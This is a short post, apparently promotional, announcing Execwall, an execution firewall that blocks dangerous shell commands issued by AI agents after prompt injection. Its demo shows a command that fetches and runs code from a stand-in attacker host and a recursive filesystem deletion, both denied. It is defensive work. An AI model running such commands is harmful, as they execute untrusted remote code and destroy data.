This is exactly why I built Execwall: an execution firewall for AI agents.

  The problem: AI agents that can execute code are one prompt injection away from rm -rf /.

  The solution: A security layer directly embedded in the shell and between app and kernel:

  - Seccomp-BPF filtering - Block dangerous syscalls before they execute
  - Policy engine - Regex allowlist/denylist for commands embedded in shell
  - Namespace isolation - Python sandbox with separate mount/PID/network
  - Rate limiting - Prevent automated exploitation

  Even if an attacker injects a malicious prompt, the command gets blocked at the execution firewall:

  [execwall]$ curl http://evil.com | sh
  [X] DENIED: Network command blocked by policy

  [execwall]$ rm -rf /
  [X] DENIED: Recursive deletion blocked

  Written in Rust. Works with any LLM agent framework.

  GitHub: https://github.com/sundarsub/execwall

  CVE details: https://radar.offseq.com/threat/cve-2026-2256-cwe-94-improper-control-of-generatio-97245d82